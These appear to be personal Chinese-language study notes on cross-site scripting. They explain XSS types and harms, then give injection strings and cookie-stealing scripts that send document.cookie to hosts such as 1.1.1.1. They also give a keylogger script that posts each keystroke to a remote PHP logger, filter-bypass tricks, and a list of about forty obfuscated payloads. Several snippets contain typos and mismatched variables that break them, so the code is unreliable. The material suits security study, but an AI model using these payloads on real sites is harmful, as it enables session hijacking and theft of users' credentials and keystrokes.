XSS漏洞简单概述–UGa
个人笔记向,请多指点
*简介
XSS作为OWASP TOP 10之一,XSS被称为跨站脚本攻击(Cross-site scripting) ,本来应该缩写为CSS,但是由于和CSS (Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。XSS(跨站脚本攻击)主要基于javascript(JS)完成恶意的攻击行为。JS可以非常灵活的操作html、css和浏览器,这使得XSS攻击的“想象”空间特别大。
XSS通过将精心构造的代码(JS) 代码注入到网页中,并由浏览器解释运行这段JS代码,以达到恶意攻击的效果。当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。用户最简单的动作就是使用浏览器.上网,并且浏览器中有javascript解释器,可以解析javascript, 然而浏览器不会判断代码是否恶意。也就是说,XSS的对象是用户和浏览器。
微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS代码,都存在遭受XSS的风险,只要没有对用户的输入进行严格过滤,就会被XSS。
*XSS危害
XSS利用JS代码实现攻击,有很多中攻击方法,以下简单列出几种:
1.盗取各种用户账号
2.窃取用户Cookie资料,冒充用户身份进入网站
3.劫持用户会话,执行任意操作
*JavaScript
/与Java语言无关,命名完全出于市场原因,使用最广的客户端脚本语言使用场景/
1.直接嵌入html:<script>alert('XSS');</script>`。
`2.元素标签事件:`<body onload=alert('XSS')>
3.图片标签:<img src="javascript:alert('XSS');>
4.其他标签:<iframe>,<div>,and<link>
5.DOM对象:篡改页面内容
*攻击参与方
·攻击者
·被攻击者
·漏洞站点
·第三方站点(攻击目标、攻击参与站)
/第三方网站在其中的作用如为攻击目标时,则攻击者会在某些流量大的网站上注入恶意js,该js指向第三方网站,则过多的流量将会直接冲垮该第三方网站;为如攻击参与站,则为攻击者所制作的钓鱼类型网站或者是某恶意网站/
攻击示意图
*漏洞形成的根源
1.服务器对用户提交数据过滤不严
2.提交给服务器的脚本被直接返回给其他客户端执行
3.脚本在客户端执行恶意操作
*XSS漏洞类型
1.存储型(持久型)
/此种类型为攻击者直接在有漏洞的网站上植入恶意js代码,并残留在上面,以至于每次访问代码都会被激活/
2.反射型(非持久)
/需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面/
3.DOM型/DOM:通过JavaScript,可以重构整个HTML文档,就是说可以添加,移除等等,对页面的某个东西进行操作时,JavaScript就需要获得对HTML文档中所有元素进行访问的入口。这个入口就是DOM,所以在DOM型的xss漏洞利用中,DOM可以看成是一个访问HTML的标准程序接口/
DOM概念图示
*检测/注入语句(PoC验证性插入代码)
1.<script>alert('xss')</script>
2.<a href=" onclick=alert('xss')>type</a>
3.<img src=http://1.1.1.1/a.jpg onerror=alert('xss')>
/以上为经常使用的简单检测语句/
4.<script>-window.location='http://1.1.1.1'</script>
5.<iframe 'sRC="http://1.1.1.1/victim" height = "O" width ="O"></iframe>
/简单注入型,储存行/
6.<script>new Image().src="http://1.1.1.1/.php3output="+document.cookie;</script>
7.<script>document.body.innerHTML="<div style=visibility:visible;>h1>THISWEBSITE IS UNDER ATTACK</h1></div>";</script>
/利用dom特性的注入型xss/
*窃取cookie
<script src=1.1.1.1/a.js></script>
A.js源码
var img = new Image();
/定义一个新函数/
img src="http://1.1.1.1/cookies.php?cookie="+document.cookie;
–>源码
/直接到指定的页面去寻找a.js源码,并且发送cookie/
*Keylogger.js(键盘输入型脚本)
/键盘储存脚本,适时记录用户所输入的东西/
.js源码:
Document.onkeypress = function(evt){
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key){
var http = new XMLHttpRequest();
var param = encodeURl(key)
http.open("POST","http://192.168.20.8/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}
.php储存数据的源码:
Keylogger.php
<?php
$key=$_POST['key];
$loafile="keylog.txt";
$fp = fopen($logfile,"a");
fwite($fp,$key);
. fclose($fg);
Payload
<script src="http://1.1.1.1/keylogger.js"></script>
<a href="http://192.168.20.10/dvwa/vulnerabilities/xss_r/?name=<script+src='http://192.168.20.8/keylogger.js'></script>">xss</a>
*XSS漏洞防范绕过
在xss漏洞中,可能会出现过滤掉string也就是字符的时候,例如会把script这个东西过滤掉,此时可以通过嵌套分离避过过滤器<scr
另有直接把输入的代码彻底转换成一个字符值,不再识别<>符号,此时可以把符号转换成< >url编码形式来进行绕过,通过注销前一段语句使script语句闭合也是一种方式(“>;/>…)
另,如果注入点就本身在某个已有的标记以内(如<a …)此类,此时就可以直接插入语句来注入。
*存储型漏洞
/长期存储于服务器端,每次用户访问都会被执行javascript脚本/
Name:客户端表单长度限制
客户端、截断代理
a.js源码:
<script src=http://1.1.1.1/a.js></script>
var img = new lmage();
img.src = "http://1.1.1.1:88/cookies.phpcookie="+document.cookie;
*DOM型漏洞
<script>var img=document.createElement("img");img.src="http://192.168.20.8:88/log?"+escape(document.cookie);</script>
*payload
各种类型,摘抄如下
1</script>"><script>prompt(1)</script>
2 </ScRiPt>"><ScRiPt>prompt(1)</ScRiPt>
3 "><img src=x onerror=prompt(1)>
4 "><svg/onload=prompt(1)>
5 "><iframe/src=javascript:prompt(1)>
6 "><h1 onclick=prompt(1)>Clickme</h1>
7 "><a href=javascript:prompt(1)>Clickme</a>
8 "><a href="javascript:confirm%28 1%29">Clickme</a>
9 "><a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">click</a>
10 "><textarea autofocus onfocus=prompt(1)>
11 "><a/href=javascript:co\u006efir\u006d("1")>clickme</a>
12 "><script>co\u006efir\u006d`1`</script>
13 "><ScRiPt>co\u006efir\u006d`1`</ScRiPt>
14 "><img src=x onerror=co\u006efir\u006d`1`>
15 "><svg/onload=co\u006efir\u006d`1`>
16 "><iframe/src=javascript:co\u006efir\u006d%28 1%29>
17 "><h1 onclick=co\u006efir\u006d(1)>Clickme</h1>
18 "><a href=javascript:prompt%28 1%29>Clickme</a>
19 "><a href="javascript:co\u006efir\u006d%28 1%29">Clickme</a>
20 "><textarea autofocus οnfοcus=co\u006efir\u006d(1)>21 "><details/ontoggle=co\u006efir\u006d`1`>clickmeonchrome
22 "><p/id=1%0Aonmousemove%0A=%0Aconfirm`1`>hoveme
23 "><img/src=x%0Aonerror=prompt`1`>
24 "><iframe srcdoc="<img src=x:x onerror=alert(1)>">
25 "><h1/ondrag=co\u006efir\u006d`1`)>DragMe</h1>
26 <details/open/ontoggle=alert(1)>
27 <svg/onload=alert(1)>
28 <img/src/onerror=alert(1)>
29 <video/src/onerror=alert(1)>
30 <script>(alert)(1)</script>
31 <video><sourceonerror="javascript:alert(1)">
32 <video/src/onloadstart="alert(1)">
33 <ahref=javascript:alert(1)>222</a>
34 xmp:
35 <xmp><p title="</xmp><svg/onload=alert(45)>”>
36 noscript:
37 <noscript><p title="</noscript><svg/onload=alert(45)>”>
38 noframes:
39 <noframes><p title="</noframes><svg/onload=alert(45)>”>
40 iframe:
41 <iframe><p title="</iframe><svg/οnlοad=alert(45)>">